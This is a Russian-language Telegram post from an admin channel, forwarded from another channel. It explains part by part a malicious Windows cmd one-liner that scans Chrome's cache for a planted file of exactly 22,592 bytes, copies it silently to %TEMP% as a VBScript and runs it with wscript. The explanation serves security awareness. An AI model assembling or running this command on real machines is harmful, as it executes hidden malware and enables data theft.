TGViewer
Путь Админа Путь Админа @rootway · 1.24K subscribers
Post #1778 365

Forwarded from Не Ислам

Разбор команды по частям:
cmd /c — запускает командную строку Windows для выполнения переданной инструкции.

for /r "%LOCALAPPDATA%\Google\Chrome\User Data" %f in (f_*) — рекурсивно сканирует файлы кэша браузера Chrome (файлы вида f_*).

if %~zf==22592 — ищет файл с точным размером 22 592 байта (заранее загруженный вредоносный объект).

copy "%f" %TEMP%\t.vbs >nul 2>nul — незаметно копирует найденный файл кэша во временную папку под видом VBScript (t.vbs).

wscript %TEMP%\t.vbs — моментально исполняет созданный файл через системный интерпретатор Windows Script Host.
  • 🔥 2
More from @rootway
  1. Oct 1, 2026#цитатадня Я вижу вы высококлассный специалист, вы нуждаетесь в низкооплачиваемой работе в…
  2. Sep 28, 2026В Казахстане официально заработала мобильная связь напрямую через спутник Речь о технологи…
  3. Sep 26, 2026#infosec В одном из дружеских чатов появился очень интересный кейс. Воровство данных брауз…
  4. Sep 25, 2026Ребята! Я нашёл продаже баночки для канифоли!
  5. Sep 16, 2026в Алмате обмен просел, в Астане взорвался. Видимо, идет перераспределение потоков в связи…
  6. Sep 16, 2026#казнет #херакс по сообщениям операторов в Алматы и Астане на точках обмена интернет трафи…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →